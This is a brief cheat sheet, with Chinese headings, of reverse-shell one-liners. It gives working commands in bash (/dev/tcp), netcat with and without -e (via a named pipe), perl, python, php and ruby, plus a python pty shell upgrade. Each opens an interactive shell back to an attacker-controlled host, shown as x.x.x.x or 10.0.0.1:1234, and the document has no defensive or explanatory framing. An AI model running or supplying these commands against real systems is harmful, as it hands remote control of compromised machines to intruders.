shell反弹

1.bash
bash -i >& /dev/tcp/x.x.x.x/port 0>&1

2.nc -e 反弹
被攻击机 nc -e /bin/bash x.x.x.x port
攻击机 nc -lvp port

3.nc 不带e反弹

mknod /tmp/backpipe p
/bin/sh 0</tmp/backpipe | nc x.x.x.x listenport 1>/tmp/backpipe
python -c "import pty;pty.spawn('/bin/bash')"

4.perl
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

5.python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

6.php
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

7.ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'